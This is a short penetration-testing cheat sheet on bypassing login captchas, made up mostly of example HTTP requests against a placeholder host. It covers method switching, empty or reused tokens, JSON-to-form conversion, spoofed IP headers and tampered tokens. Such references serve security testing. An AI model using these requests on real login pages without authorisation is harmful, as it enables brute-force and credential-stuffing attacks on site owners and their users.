Bypass Captcha

Try changing the request method, for example POST to GET

POST / HTTP 1.1
Host: target.com
...
 
_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123

Change the method to GET

GET /?_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123 HTTP 1.1
Host: target.com
...

Try remove the value of the captcha parameter

POST / HTTP 1.1
Host: target.com
...
 
_RequestVerificationToken=&_Username=daffa&_Password=test123

Try reuse old captcha token

POST / HTTP 1.1
Host: target.com
...
 
_RequestVerificationToken=OLD_CAPTCHA_TOKEN&_Username=daffa&_Password=test123

Convert JSON data to normal request parameter

POST / HTTP 1.1
Host: target.com
...
 
{"_RequestVerificationToken":"xxxxxxxxxxxxxx","_Username":"daffa","_Password":"test123"}

Convert to normal request

POST / HTTP 1.1
Host: target.com
...
 
_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123

Try custom header to bypass captcha

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1

Change some specific characters of the captcha parameter and see

If it is possible to bypass the restriction.

POST / HTTP 1.1
Host: target.com
...
 
_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123

Try this to bypass

POST / HTTP 1.1
Host: target.com
...
 
_RequestVerificationToken=xxxdxxxaxxcxxx&_Username=daffa&_Password=test123